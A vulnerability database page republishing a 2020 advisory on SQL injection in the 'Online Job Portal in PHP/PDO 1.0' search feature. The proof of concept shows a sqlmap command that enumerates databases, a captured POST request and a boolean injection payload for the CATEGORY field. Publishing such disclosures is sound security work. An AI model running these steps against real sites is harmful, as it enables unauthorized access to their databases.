Lucene search
K

Online Job Portal In PHP/PDO 1.0 SQL Injection

🗓️ 30 Nov 2020 00:00:00Reported by Mohamed ElobeidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 599 Views

online job portal phppdo v1.0 - SQL injection in "CATEGORY" parameter at "/jobportal/index.php?q=result&searchfor=advancesearch

Code
`# Title: online job portal phppdo v1.0 - SQL injection  
# Exploit Author: Mohamed Elobeid (0b3!d)  
# Date: 2020-08-21  
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=13850&title=Online+Job+Portal+in+PHP%2FPDO  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4  
# Description  
This parameter "CATEGORY" is vulnerable to SQL injection in this path "/jobportal/index.php?q=result&searchfor=advancesearch" that leads to retrieve all databases.  
  
  
#POC  
1-sqlmap -r request.txt -p CATEGORY --dbs  
  
where the request.txt is an intercept of a search request captured below:  
  
POST /jobportal/index.php?q=result&searchfor=advancesearch HTTP/1.1  
  
Host: 192.168.52.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.52.1/jobportal/  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 41  
Connection: close  
Cookie: PHPSESSID=bb4g25d3qceicepo7b3d26cfpp  
Upgrade-Insecure-Requests: 1  
  
SEARCH=&CATEGORY=Managerial&COMPANY=Quest  
  
  
2- use a proxy to intercept a search request ad change the CATEGORY field by the following:  
Managerial' OR NOT 5832=5832#&COMPANY=Quest  
  
  
Regards,  
Mohamed ELobeid  
Security Engineer, Cyber Security Operations Center  
Diyar United Company  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation